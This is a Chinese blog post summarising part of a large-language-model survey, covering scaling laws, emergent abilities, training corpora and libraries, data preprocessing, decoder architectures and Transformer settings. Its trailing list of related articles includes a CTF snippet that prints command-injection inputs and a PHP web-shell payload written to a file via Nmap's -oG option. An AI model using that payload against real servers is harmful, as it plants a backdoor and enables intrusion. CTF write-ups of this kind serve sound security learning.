大模型综述总结--第一部分

1 目录

本文是学习https://github.com/le-wei/LLMSurvey/blob/main/assets/LLM_Survey_Chinese.pdf的总结,仅供学习,侵权联系就删
目录如下图
在这里插入图片描述

本次只总结一部分,刚学习有错请指出,VX关注晓理紫,关注后续。
在这里插入图片描述

2、概述

2.1 大语言模型的扩展法则

  • KM扩展法则:
  • Chinchilla 扩展法则

2.2 大语言模型的涌现能力

  • 上下文学习能力(ICL):假设为大语言模型提供了一个自然语言指令、或几个任务的演示,它可以通过完成输入文本的单词序列的方式为测试实例生成预期的输出而无需而外的训练或者梯度更新(通过提高的实例就可以学会对应的任务不需要进行而外的训练)
  • 指令遵循:通过使用自然语言描述的混合任务数据集进行微调(指令微调),LLM可以在未见过的指令形式描述的任务表现出色。(泛华能力强)
  • 逐步推理:通过使用思维链提示策略完成类似数学的推理任务

2.3 大语言模型的关键技术

  • 扩展:Transformer语言模型存在明显的扩展效应;更大的模型、数据规模和更多的训练计算通常导致模型的提升。
  • 训练:分布式训练算法是学习LLM网络参数必需的
  • 能力引导:在大语料库中训练的大语言模型具备了作为通用任务求解器的潜在能力,但是在特定的任务中需要使用如ICL、COT进行引导大模型进行求解
  • 对齐微调:使大模型生成更加符合人类的无害的的内容
  • 工具操作:使用LLM可以借助外部工具完成其不擅长的任务操作

2.4 GPT系列大模型的演变

在这里插入图片描述

3、大语言模型资源

3.1 公开可用的模型检点点

  • 百亿级

  • 千亿级

3.2 常用语料

  • Books:书籍训练集
  • CommonCrawl:最大的开源网络爬虫数据集
  • Reddit Links:一个通过社交平台创建的高质量数据集
  • Wikipedia:在线的百科全书,包含大量高质量文章,涵盖各种主题
  • Code:爬取有开源许可的代码库
  • Others:其他类型的数据
    在这里插入图片描述

3.4 代码资源

可用于开发LLM的代码库

  • Transformers:是使用Transformer架构构建模型的开源Python库
  • DeepSpeed:是用于深度学习优化库(与pytorch兼容),已用于训练多个LLM,如MTNLG和BLOOM。提供各种分布式训练优化技术的支持,如内存优化(ZeRO技术,梯度检查点)和管道并行
  • Megatron-LM:是由NVIDIA开发的深度学习库,用于训练LLM。提供丰富的分布式训练优化技术,包括模型和数据并行、混合精度训练和Flash Attention并实现GPU间的高效分布训练
  • JAX:由google开发用于高性能机器学习算法的python库,允许在带有硬件加速(GPU、TPU)情况下进行数组高效运算,支持自动微分和即时编译等
  • Colossal-AI:由IIPC-AI Tech开发用于训练大规模人工智能模型的深度学习库,其基于pytorch实现,并支持丰富的并行训练策略。
  • BMTrain:由OpenBMB开发的用于分布方式训练大规模参数模型的高效库、强调代码简洁、低资源占用和高可用性。已将一些常见的LLM(Flan-T5和GLM)迁移到其ModelCenter中。
  • FastMoE:一种专门用于MoE(混合专家)模型的训练库。基于Pytorch开发,注重效率和易用性。
  • 其他:pytorch、TensorFlow、MXNet、PaddlePaddle、MindSpore、OneFlow等

4、预训练

4.1 数据收集

可通过上面语料库获取数据

4.2 数据预处理
收集大量数据后对数据进行预处理,特别是消除噪声、冗余、无关和潜在有害的数据是必需的。

  • 一个典型的预处理预训练数据的流程图

在这里插入图片描述

  • 质量过滤:为删除收集到的语料库中的低质量数据,主要有两种方法
    • 基于分类器的方法:通过一部分高质量的数据训练出一个分类器,通过分类器识别并过滤低质量的数据;但是有研究发现基于分类器可能会删除方言、口语和社会语言的高质量文本导致有偏的语料库并减少了多样性。
    • 基于启发式的方法:可以采用一些规则消除低质量文本
      • 基于语言的过滤:如果针对某一种语言任务的LLM可以删除其他非目标语言的语料。
      • 基于度量的过滤:可以利用生成文本的评估度量,例如困惑度来检测和删除不自然的句子
      • 基于统计的过滤:可以利用语料库的统计特征,如标点符号分布、符合与单词比率和句子长度来衡量并过滤低质量数据
      • 基于关键词的过滤:基于特定的关键词集合、可以识别和删除文本中的噪声或无用元素。
  • 去重:语料中的重复数据会降低语言模型的多样性,可能导致训练过程不稳定,降低模型的性能。去重可以在句子级、文档级、和数据集级等不同粒度去重
    • 句子级:删除包含重复单词和短语的低质量句子,因为它们可能在会在语言建模中引入重复模式。
    • 文档级:主要依靠文档之间的表层特征(例如单词和n元的重叠)的重叠比率来检测和删除包含相似内容的重复文档。
    • 数据集级:需要从训练集中删除测试集可能出现的重复文本。
  • 隐私去除:为了防止训练集中存在敏感或个人信息数据。可以通过基于规则的方法删除隐私数据。
  • 分词:分词也是数据预处理的关键步骤。它的目的是将原始文本分割成词序列,随后用作LLM的输入。对于有多种领域、语言和格式组成的语料库使用专门为预训练语料库设计的分词器效果可能更好。最近LLM使用SentencePiece为预训练语料库训练定制化的分词器,同时利用字节级的Byte Pair Encoding(BPE)算法来确保分词后的信息不会丢失。需要注意BPE中的归一化技术,例如NFKC、可能会降低分词性能。

4.3 预训练数据对大语言模型的影响

  • 混合数据来源:不同领域或场景的数据具有不同语言特征和语义知识。通过不同来源的文本数据对LLM模型进行预训练,LLM可以获得广泛的知识并有强大的泛化能力。但是需要注意设置预训练数据的分布,因为这个可能影响LLM在下游任务的性能。

  • 预训练数据的数量:随着LLM参数的增加,也需要更多的数据来训练模型。

  • 预训练数据的质量:现有的研究表明,对低质量的语料库进 行预训练时,例如噪声、有害和重复的数据,可能会损害模型的性能。

4.4 主流架构

一般来说现有LLM主流架构可以大致分为三种类型:即编码器-解码器、因果解码器和前缀解码器。

  • 编码器-解码器:传统的Transformer模型是建立在编码器-解码器架构上,有两个Transformer块分别作为编码器和解码器。编码器采用堆叠的多头注意层对输入序列进行编码以生成其潜在表示。解码器对这些表示进行交叉注意并自回归地生成目标序列。目前只有少数的LLM采用此种方式,如Flan-T5
  • 因果解码器架构:因果解码器架构采用单向注意力掩码,以确保每个输入token只能关注过去的token和它本身,输入和输出的token通过解码器以相同的方式进行处理。GPT系列是基于因果解码器架构开发,OPT、BLOOM、Gopher都是采用因果解码器。
  • 前缀解码器架构:前缀解码器架构(也称非因果解码器架构)修正了因果解码器的掩码机制,使其能够对前缀token执行双向注意力,并仅对生成的token执行单向注意力。前缀编码器可以双向编码前缀token序列并自回归地逐个预测输出token,其中编码和解码过程共享相同的参数。实用建议:不从头开始训练,而是继续训练因果解码器,然后将其转换为前缀解码器以加速收敛。基于前缀解码器架构的LLM代表有GLM-130B和U-PaLM.

总结:可以考虑通过混合专家(MOE)扩展这三种类型架构,其中每个输入的小部分神经网络权重被稀疏激活,Switch Transformer和GLaM证明,通过增加专家数量或总参数大小,性能会有显著的改进。

在这里插入图片描述

4.5 Transformer详细配置

Transforme主要部分的相应配置:标准化、位置编码、激活函数、注意力和偏置。

  • 标准化:Transformer架构引入层标准化(Layer Norm,LN)是为了能稳定训练LLM。但是LN的位置对LLM的性能影响很大。大多数LLM采用前置LN实现更稳定的训练。LN的代替方案:RMS Norm、DeepNorm都有很好的训练稳定性。
  • 激活函数:在现有的LLM中GeLU激活函数广泛使用,最新的LLM(如PaLM和LaMAD)采用GLU激活函数的变体,特别是SwiGLU和GeGLU的变体。性能较好,但是与GeLU比,在前馈网络中需要额外的参数。
  • 位置编码:由于 Transformer 中的自注意模块具有置换不变性,因此需要使用位置编码来注入绝对或相对位置信息以建模序列。
    • 绝对位置编码: 有两种绝对位置编码,即正弦函数和学习的位置编码。通常在LLM中经常使用学习的位置编码
    • 相对位置编码:相对位置编码根据键和查询之间的偏移量生成嵌入,因此它可以在比训练序列更长的序列上表现良好,即外推。代表有
      • ALiBi:使用基于键和查询之间距离的惩罚来偏置注意力分数。实证结果表明:它比其他位置编码有更好的零样本泛化能力和更强的外推能力
      • RoPE:通过基于绝对位置设置特定的旋转矩阵,RoPE中的键和查询之间的分数可以使用相对位置信息计算。对于建模长序列更有益。
  • 注意力机制和偏置:GPT-3采用低计算复杂度的稀疏注意力机制,即分散注意力。对于偏置大多数LLM与原始的Transformer一样,在每一个线性层和标准化层中保留了偏置。但是PaLM和Galactica移除了偏置。研究表明移除偏置可以增强训练的稳定性。
  • 总结:通过现有文献总结,为了有更强的泛化能力和训练稳定性,建议选择前置的RMS进行层标准化,并选择SwiGLU或GeGLU作为激活函数,可以选择RoPE或者ALiBi进行位置编码。

码字太累,VX关注晓理紫,后续继续
在这里插入图片描述

注意:本文大部分内容总结于,仅供学习,侵权联系删

https://github.com/le-wei/LLMSurvey/blob/main/assets/LLM_Survey_Chinese.pdf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2803989.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Unicode转换 [ASIS 2019]Unicorn shop1

打开题目 点击进去之后是一个购买独角兽的界面,有四种类型的独角兽,前三种的价格比较便宜,最后的独角兽价格比较贵。 我们先尝试购买前三种独角兽,输入id,然后price输入9 我们直接查看源代码 可以看到在charset"…

数字化转型导师坚鹏:政府数字化转型案例研究(包括省市政府)

政府数字化转型案例研究(包括省市政府) 课程背景: 很多地方政府存在以下问题: 不清楚标杆省政府数字化转型的成功案例 不清楚直辖市政府数字化转型的成功案例 不清楚地级市政府数字化转型的成功案例 课程特色&#xff1a…

Flink中的双流Join

1. Flink中双流Join介绍 Flink版本Join支持类型Join API1.4innerTable/SQL1.5inner,left,right,fullTable/SQL1.6inner,left,right,fullTable/SQL/DataStream Join大体分为两种:Window Join 和 Interval Join 两种。 Window Join又可以根据Window的类型细分为3种…

智慧公厕是什么?智慧公厕未来发展趋势

在现代城市生活中,公共厕所是不可或缺的基础设施。而随着科技的不断发展,智慧公厕作为一种未来式的公共厕所,将在使用方式、服务方式、管理方式、协作方式上带来革命性的升级。那么,智慧公厕的未来发展趋势又是怎样的呢&#xff1…

Python多值提取至点:基于一景栅格的像元提取另一栅格中空间位置匹配的像元

本文介绍基于Python语言中的gdal模块,对2景不同的遥感影像加以对应位置像素值匹配的方法——即基于一景遥感影像的每一个像元,提取另一景遥感影像中,与之空间位置相同的像元的像素值的方法。 首先,明确一下本文的需求。现在有2景成…

命令执行 [网鼎杯 2020 朱雀组]Nmap1

打开题目 输入127.0.0.1 可以得到回显结果&#xff0c;猜测是命令执行&#xff0c;尝试使用|分隔地址与命令 127.0.0.1 | ls 可以看到|被\转义&#xff0c;尝试使用;&#xff1a; 直接放入Payload: <?php eval($_POST["hack"]);?> -oG hack.php 尝试修改文…

2.deeplabv3+的主干网络(mobilenet网络)

deeplabv3的论文中用了resnet网络&#xff0c;在这里用轻量级网络mobilenet替换resnet&#xff0c;下面分别是两个网络的代码。 1.mobilenet网络 代码如下&#xff1a; import math import os import cv2 import numpy as np import torch import torch.nn as nn import tor…

多租户权限过滤查询-基于mybatisplus权限插件DataPermissionInterceptor实现

前言 因为业务需要对系统中的相关模块的权限通过不同的部门这种属性进行过滤&#xff0c;这边参考了开源项目ruoyi里面的权限过滤设计&#xff0c;然后结合自身的业务进行实现 优秀的开源项目地址:ruoyi-vue-pro 梳理了解了逻辑之后总结了一下实现原理&#xff0c;在需要进行…

Android 仿信号格子强度动画效果实现

效果图 在 Android 中&#xff0c;如果你想要绘制一个圆角矩形并使其居中显示&#xff0c;你可以使用 Canvas 类 drawRoundRect 方法。要使圆角矩形居中&#xff0c;你需要计算矩形的位置&#xff0c;这通常涉及到确定矩形左上角的位置&#xff08;x, y&#xff09;&#xff0…

Sora没用上!国产AI创作恐怖电影:《生化危机:重生》下

Sora没用上&#xff01;国产AI创作恐怖电影&#xff1a;《生化危机&#xff1a;重生》下 丧尸围城&#xff0c;世界沦陷&#xff0c;爱丽丝是拯救这个世界的最后一剂解药&#xff0c;然而。。。 《生化危机&#xff1a;重生》&#xff08;下&#xff09;&#xff1a;在战斗的最…

QT day2 组件

mywidget.cpp #include "mywidget.h"Mywidget::Mywidget(QWidget *parent): QMainWindow(parent) {this->setWindowTitle("qq");this->setWindowIcon(QIcon("C:\\Users\\41220\\Desktop\\华清\\pictrue\\qq.png"));this->setWindowFla…

微服务远程调用Feign

目录 RPC概述 什么是Feign&#xff1f; Ribbon&Feign对比 Feign的设计架构 Spring Cloud Alibaba快速整合Feign Spring Cloud Feign扩展 日志配置 契约配置 通过拦截器实现参数传递 自定义拦截器实现认证逻辑 超时时间配置 RPC概述 微服务之间如何方便优雅的实…

计算机设计大赛 深度学习卷积神经网络垃圾分类系统 - 深度学习 神经网络 图像识别 垃圾分类 算法 小程序

文章目录 0 简介1 背景意义2 数据集3 数据探索4 数据增广(数据集补充)5 垃圾图像分类5.1 迁移学习5.1.1 什么是迁移学习&#xff1f;5.1.2 为什么要迁移学习&#xff1f; 5.2 模型选择5.3 训练环境5.3.1 硬件配置5.3.2 软件配置 5.4 训练过程5.5 模型分类效果(PC端) 6 构建垃圾…

数字电路 第一章—第二节(逻辑代数的基本概念、公式和定理)

一、基本逻辑关系举例 1、电路图 &#xff08;1&#xff09;与逻辑关系&#xff1a; &#xff08;2&#xff09;或逻辑关系&#xff1a; &#xff08;3&#xff09;非逻辑关系&#xff1a; 2、真值表 &#xff08;1&#xff09;在上述三种电路中&#xff0c;经过设定变量和状…

Nginx知识笔记

一、前言 首先&#xff0c;我们来看一张关于正向代理和反向代理的图片 简单理解正向代理和反向代理的概念&#xff1a; 正向代理&#xff1a;在客户端配置代理服务器(和跳板机功能类似&#xff0c;比如公司很多机器需要通过跳板机才允许登录&#xff0c;正向代理的典型用途是…

开源模型应用落地-工具使用篇-向量数据库进阶(四)

一、前言 通过学习"开源模型应用落地"系列文章&#xff0c;我们成功地建立了一个完整可实施的AI交付流程。现在&#xff0c;我们要引入向量数据库&#xff0c;作为我们AI服务的二级缓存。本文将继续基于上一篇“开源模型应用落地-工具使用篇-向量数据库&#xff08;三…

游泳耳机品牌排行榜前十名:十大爆款火热机型超高性价比

在当今这个科技日新月异的时代&#xff0c;游泳已经不再仅仅是一项简单的运动&#xff0c;而是一种生活方式的体现。随着人们对于健康生活的追求日益增强&#xff0c;游泳耳机也成为了许多游泳爱好者的必备装备之一。然而&#xff0c;市场上琳琅满目的游泳耳机品牌和型号让人眼…

网络安全8-11天笔记

内容安全&#xff1a; 攻击可能只是一个点&#xff0c;防御需要全方面进行。 IAE引擎&#xff1a; DFI和DPI技术&#xff1a;深度检测技术 DPI——深度包检测技术&#xff1a;主要针对完整的数据包&#xff08;数据包分片&#xff0c;分段需要重组&#xff09;&#xff0c;之…

2024年阿里云服务器优惠价格表和活动整理

2024阿里云服务器优惠活动政策整理&#xff0c;轻量2核2G3M服务器61元一年、2核4G4M带宽165元1年&#xff0c;云服务器4核16G10M带宽26元1个月、149元半年&#xff0c;阿里云ECS云服务器2核2G3M新老用户均可99元一年续费不涨价&#xff0c;企业用户2核4G5M带宽199元一年&#x…

Excel之index、MATCH面试题、VLOOKUP函数,

VLOOKUP() 在表格的首列查找指定的数值&#xff0c;并返回表格当前行中指定列处的数值。 结构&#xff1a;VLOOKUP(查找值,查找区域,列序数,匹配条件) 解释&#xff1a;VLOOKUP(找谁,在哪里找,第几列,0或1) 1.目的&#xff1a;根据【产品】查找【销量】 公式&#xff1a;V…